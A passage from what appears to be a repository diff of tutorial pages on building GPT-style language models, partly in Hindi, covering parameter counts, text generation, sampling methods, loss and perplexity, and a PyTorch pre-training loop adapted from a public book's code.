total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
```
- **आउटपुट प्रोजेक्शन (`out_proj`):**
```python
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **कुल मल्टी-हेड अटेंशन पैरामीटर:**
```python
mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**b. फीडफॉरवर्ड नेटवर्क**
- **घटक:**
- **पहली लीनियर लेयर:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **दूसरी लीनियर लेयर:** `nn.Linear(4 * emb_dim, emb_dim)`
- **गणनाएँ:**
- **पहली लीनियर लेयर:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **दूसरी लीनियर लेयर:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **कुल फीडफॉरवर्ड पैरामीटर:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**c. लेयर नॉर्मलाइजेशन**
- **घटक:**
- प्रत्येक ब्लॉक में दो `LayerNorm` उदाहरण।
- प्रत्येक `LayerNorm` में `2 * emb_dim` पैरामीटर होते हैं (स्केल और शिफ्ट)।
- **गणनाएँ:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**d. प्रत्येक ट्रांसफार्मर ब्लॉक के लिए कुल पैरामीटर**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
```
**सभी ट्रांसफार्मर ब्लॉक्स के लिए कुल पैरामीटर**
```python
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```
#### **3. अंतिम परतें**
**क. अंतिम परत सामान्यीकरण**
- **पैरामीटर:** `2 * emb_dim` (स्केल और शिफ्ट)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**b. आउटपुट प्रोजेक्शन लेयर (`out_head`)**
- **लेयर:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **पैरामीटर्स:** `emb_dim * vocab_size`
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. सभी पैरामीटर का योग**
```python
pythonCopy codetotal_params = (
embedding_params +
total_transformer_blocks_params +
final_layer_norm_params +
output_projection_params
)
total_params = (
39,383,808 +
85,026,816 +
1,536 +
38,597,376
)
total_params = 163,009,536
```
## Generate Text
एक ऐसा मॉडल होना जो अगले टोकन की भविष्यवाणी करता है जैसे कि पिछले वाले, केवल अंतिम टोकन मानों को आउटपुट से लेना आवश्यक है (क्योंकि वे भविष्यवाणी किए गए टोकन के होंगे), जो कि **शब्दावली में प्रत्येक प्रविष्टि के लिए एक मान** होगा और फिर `softmax` फ़ंक्शन का उपयोग करके आयामों को उन संभावनाओं में सामान्यीकृत करना होगा जो 1 के बराबर होती हैं और फिर सबसे बड़े प्रविष्टि का अनुक्रमांक प्राप्त करना होगा, जो शब्दावली के भीतर शब्द का अनुक्रमांक होगा।
Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context
for _ in range(max_new_tokens):
# Crop current context if it exceeds the supported context size
# E.g., if LLM supports only 5 tokens, and the context size is 10
# then only the last 5 tokens are used as context
idx_cond = idx[:, -context_size:]
# Get the predictions
with torch.no_grad():
logits = model(idx_cond)
# Focus only on the last time step
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
logits = logits[:, -1, :]
# Apply softmax to get probabilities
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
# Get the idx of the vocab entry with the highest probability value
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
# Append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
return idx
start_context = "Hello, I am"
encoded = tokenizer.encode(start_context)
print("encoded:", encoded)
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
print("encoded_tensor.shape:", encoded_tensor.shape)
model.eval() # disable dropout
out = generate_text_simple(
model=model,
idx=encoded_tensor,
max_new_tokens=6,
context_size=GPT_CONFIG_124M["context_length"]
)
print("Output:", out)
print("Output length:", len(out[0]))
```
## संदर्भ
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,970 +0,0 @@
# 6. Pre-training & Loading models
## Text Generation
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
> [!TIP]
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
## Text Evaluation
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base*e*) of **7.4541e-05** is approximately **-9.5042**.\
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
## Pre-Train Example
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
<details>
<summary>Previous code used here but already explained in previous sections</summary>
```python
"""
This is code explained before so it won't be exaplained
"""
import tiktoken
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True, num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
return dataloader
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed-forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
```
</details>
```python
# Download contents to train the data with
import os
import urllib.request
file_path = "the-verdict.txt"
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
if not os.path.exists(file_path):
with urllib.request.urlopen(url) as response:
text_data = response.read().decode('utf-8')
with open(file_path, "w", encoding="utf-8") as file:
file.write(text_data)
else:
with open(file_path, "r", encoding="utf-8") as file:
text_data = file.read()
total_characters = len(text_data)
tokenizer = tiktoken.get_encoding("gpt2")
total_tokens = len(tokenizer.encode(text_data))
print("Data downloaded")
print("Characters:", total_characters)
print("Tokens:", total_tokens)
# Model initialization
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 256, # Shortened context length (orig: 1024)
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-key-value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.eval()
print ("Model initialized")
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
# Apply Train/validation ratio and create dataloaders
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval()
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train()
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval()
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train()
# Start training!
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
# Show graphics with the training process
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
```
Let's see an explanation step by step
### Functions to transform text <--> ids
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
```
### Generate text functions
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
```python
# Generate text function
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
# For-loop is the same as before: Get logits, and only focus on last time step
for _ in range(max_new_tokens):
idx_cond = idx[:, -context_size:]
with torch.no_grad():
logits = model(idx_cond)
logits = logits[:, -1, :]
# New: Filter logits with top_k sampling
if top_k is not None:
# Keep only top_k values
top_logits, _ = torch.topk(logits, top_k)
min_val = top_logits[:, -1]
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
# New: Apply temperature scaling
if temperature > 0.0:
logits = logits / temperature
# Apply softmax to get probabilities
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
# Sample from the distribution
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
# Otherwise same as before: get idx of the vocab entry with the highest logits value
else:
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
break
# Same as before: append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!NOTE]
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
>
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities&#x20;
>
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
>
> _Note that this improvement isn't included in the previous code._
> [!NOTE]
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
>
> _Note that this improvement isn't included in the previous code._
### Loss functions
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
```
> [!NOTE]
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the models parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
>
> _Note that this improvement isn't included in the previous code._
>
> Check the following example:
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Loading Data
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
```
## Sanity Checks
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
```python
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
```
### Select device for training & pre calculations
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
```python
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
```
### Training functions
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
Then the big function `train_model_simple` is the one that actually train the model. It expects:
- The train data loader (with the data already separated and prepared for training)
- The validator loader
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
- The device to use for training
- The number of epochs: Number of times to go over the training data
- The evaluation frequency: The frequency to call `evaluate_model`
